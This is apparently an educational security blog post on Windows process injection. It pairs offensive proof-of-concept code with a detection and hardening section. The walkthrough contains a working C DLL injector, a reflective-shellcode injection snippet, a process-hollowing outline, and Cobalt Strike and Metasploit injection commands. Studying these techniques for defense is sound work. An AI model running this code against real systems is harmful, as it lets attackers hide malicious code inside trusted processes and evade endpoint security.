Disclaimer: This article is for education and authorized security testing only. Run every technique described here exclusively on systems you own or are explicitly permitted to test. Using these methods against systems without written authorization is illegal in most jurisdictions.
Introduction / Overview
Process injection is the umbrella term for running attacker-controlled code inside the address space of another, usually trusted, process. Red teamers rely on it to evade application allow-listing, hide C2 beacons inside explorer.exe, and survive endpoint inspection that focuses on standalone binaries. Defenders need to understand the same primitives to write meaningful detections.
This post covers three families that map directly to MITRE ATT&CK T1055:
- Classic DLL injection (
T1055.001) — drop a DLL on disk and force a remote process to load it. - Reflective DLL injection — map a DLL from memory with no
LoadLibraryand no disk footprint. - Process hollowing (
T1055.012) — start a legitimate process suspended, gut its image, and replace it with a malicious one.
If you are coming from static analysis, my notes on Ghidra basics and Windows API hooking pair well with this material.
How it works / Background
Every classic technique is built from the same Win32 building blocks:
| API | Role |
|---|---|
OpenProcess |
Get a handle with PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD |
VirtualAllocEx |
Reserve and commit memory inside the remote process |
WriteProcessMemory |
Copy the payload (DLL path or shellcode) into that allocation |
CreateRemoteThread |
Spawn a thread in the remote process at a chosen start address |
For DLL injection, the trick is that you do not write the whole DLL — you write the path string, then start a remote thread whose entry point is LoadLibraryA. Because kernel32.dll is mapped at the same base in every process on a given boot, the address of LoadLibraryA in your process equals its address in the target. The remote thread effectively runs LoadLibraryA("C:\\evil.dll").
Reflective injection removes the on-disk DLL and the LoadLibrary call. The payload itself contains a loader stub (Stephen Fewer's classic ReflectiveLoader export) that parses its own PE headers, allocates memory, resolves imports, applies base relocations, and calls DllMain — all from a buffer. The defender never sees a backing file for the executable region, which is a strong indicator on its own.
Process hollowing takes a different route. Instead of injecting into a running process, you create one with CreateProcessA(..., CREATE_SUSPENDED, ...), unmap its original image with NtUnmapViewOfSection (or ZwUnmapViewOfSection), write your own PE in its place, rewrite the entry point in the thread context with SetThreadContext, and ResumeThread. The process keeps its legitimate name and path on disk while executing foreign code.
A stealthier delivery for the thread is APC injection (T1055.004): instead of CreateRemoteThread, you queue an Asynchronous Procedure Call with QueueUserAPC against an existing alertable thread. When that thread enters an alertable wait, the APC fires your shellcode — no new thread is created, which sidesteps a common detection.
Prerequisites / Lab setup
- A disposable Windows 10/11 VM, snapshot taken, no network bridge to production.
- Visual Studio Build Tools or
mingw-w64for compiling PoCs. - Process Hacker or System Informer for live memory inspection.
- Sysmon with a permissive config for telemetry (see the blue-team section).
# Quick environment check (run as a low-priv user first)
Get-Process notepad -ErrorAction SilentlyContinue
[System.Environment]::Is64BitProcess # match your payload bitness to the targetPowerShellBitness must match. A 64-bit injector cannot trivially inject into a 32-bit (WOW64) process and vice versa.
Walkthrough / PoC
1. Classic DLL injection
A minimal injector in C. Error handling trimmed for clarity.
// inject.c — compile: cl inject.c
#include <windows.h>
#include <stdio.h>
int main(int argc, char** argv) {
DWORD pid = atoi(argv[1]);
char* dll = argv[2]; // full path to the DLL
SIZE_T len = strlen(dll) + 1;
HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID rmt = VirtualAllocEx(h, NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(h, rmt, dll, len, NULL);
// LoadLibraryA lives at the same address in the remote process
LPVOID loadlib = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
HANDLE t = CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)loadlib, rmt, 0, NULL);
WaitForSingleObject(t, INFINITE);
printf("[+] Injected into PID %lu\n", pid);
return 0;
}C# Build and fire
cl.exe inject.c
.\inject.exe 4321 C:\lab\payload.dllPowerShellYou can do the same thing without writing code using the open-source loader collection:
# Linux build host targeting Windows, then run on the VM
# sRDI converts a DLL into position-independent shellcode for reflective use
python3 ConvertToShellcode.py payload.dllBash2. Reflective DLL injection
Reflective DLLs export a ReflectiveLoader function. Tooling like sRDI (monoxgas/sRDI) wraps a normal DLL into self-loading shellcode, which you then inject as a raw buffer:
// Allocate RWX in the remote process and write the sRDI shellcode blob
LPVOID rmt = VirtualAllocEx(h, NULL, scLen,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(h, rmt, shellcode, scLen, NULL);
CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)rmt, arg, 0, NULL);CThe key difference from technique #1: the start address is the shellcode itself, and there is no LoadLibraryA, no DLL path string, and no module entry in the PEB loader list. That missing module entry is precisely what memory-scanning tools key on.
3. Process hollowing
The canonical sequence:
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 1. read remote PEB to find image base
// 2. NtUnmapViewOfSection(pi.hProcess, imageBase); // hollow it out
// 3. VirtualAllocEx at the preferred base, WriteProcessMemory the new PE + sections
// 4. GetThreadContext -> set Rcx/Eax to new entry point -> SetThreadContext
// 5. ResumeThread(pi.hThread);CIn Process Hacker, a hollowed process betrays itself: the image path on disk no longer matches the bytes in memory, and the main module's memory protection is often RWX instead of the expected WCX (image-backed, copy-on-write).
For hands-on practice without writing everything from scratch, frameworks expose these directly:
# Cobalt Strike Beacon
beacon> inject 4321 x64 tcp-local # CreateRemoteThread style
beacon> spawnto x64 %windir%\sysnative\dllhost.exe # hollowing target
# Metasploit migrate uses CreateRemoteThread under the hood
meterpreter > migrate -N explorer.exePlaintextMermaid diagram

The diagram shows how the choice of disk footprint, process reuse, and thread creation steers an operator toward DLL injection, reflective loading, APC, or hollowing.
Detection & Defense (Blue Team)
Detection should weigh as heavily as the offense. The good news: each technique leaves residue.
1. Telemetry with Sysmon. Event ID 8 (CreateRemoteThread) and Event ID 10 (ProcessAccess) are the workhorses. Flag cross-process thread creation where the start address points into a non-image (private, executable) region:
<!-- sysmon config fragment -->
<RuleGroup groupRelation="or">
<CreateRemoteThread onmatch="include">
<SourceImage condition="end with">powershell.exe</SourceImage>
</CreateRemoteThread>
<ProcessAccess onmatch="include">
<GrantedAccess condition="is">0x1F0FFF</GrantedAccess> <!-- PROCESS_ALL_ACCESS -->
</ProcessAccess>
</RuleGroup>XML2. Memory scanning. Tools like Moneta, PE-sieve (hasherezade/pe-sieve), and Hollows Hunter detect the artifacts directly:
# Scan a suspect PID for unbacked executable memory and hollowing
.\pe-sieve64.exe /pid 4321 /shellc /imp 3
# Sweep the whole system continuously
.\hollows_hunter64.exe /loop /shellcPowerShellPE-sieve flags executable memory with no backing file (reflective/shellcode) and image regions whose in-memory bytes differ from disk (hollowing).
3. Hardening controls.
- Microsoft-signed-only / Blocking untrusted images: enable
ProcessMitigationso a protected process refuses non-Microsoft-signed DLLs.
PowerShellSet-ProcessMitigation -Name svchost.exe -Enable BlockNonMicrosoftBinaries - Credential Guard / PPL protects LSASS from injection-based credential theft.
- Attack Surface Reduction (ASR) rule "Block process creations originating from PSExec and WMI commands" and the LSASS-protection ASR rule cut common injection chains.
- EDR with userland or kernel callbacks (ETW Threat Intelligence provider
Microsoft-Windows-Threat-Intelligence) observesNtAllocateVirtualMemory,NtProtectVirtualMemory, andNtWriteVirtualMemoryfrom the kernel, where userland API-hooking evasion does not help the attacker.
4. Behavioral heuristics worth alerting on: RWX private memory in a long-lived process, a thread whose start address is outside any module, NtUnmapViewOfSection against a freshly created suspended child, and a process whose MainModule.FileName bytes diverge from the mapped image.
Conclusion
DLL injection, reflective loading, and hollowing all rest on the same four-call backbone: allocate, write, point a thread (or APC) at the payload, and run. Reflective loading removes the disk and LoadLibrary tells; hollowing borrows a trusted identity. For defenders, the takeaway is that these techniques are observable at the kernel boundary — cross-process memory writes, unbacked executable pages, and disk/memory image mismatches are difficult to hide. Build detections around those invariants rather than chasing specific tools.
References
- MITRE ATT&CK — Process Injection (T1055): https://attack.mitre.org/techniques/T1055/
- MITRE ATT&CK — Process Hollowing (T1055.012): https://attack.mitre.org/techniques/T1055/012/
- MITRE ATT&CK — APC Injection (T1055.004): https://attack.mitre.org/techniques/T1055/004/
- HackTricks — Process Injection: https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
- hasherezade / pe-sieve & hollows_hunter: https://github.com/hasherezade/pe-sieve
- monoxgas / sRDI (Shellcode Reflective DLL Injection): https://github.com/monoxgas/sRDI
- Microsoft Docs — CreateRemoteThread / VirtualAllocEx: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments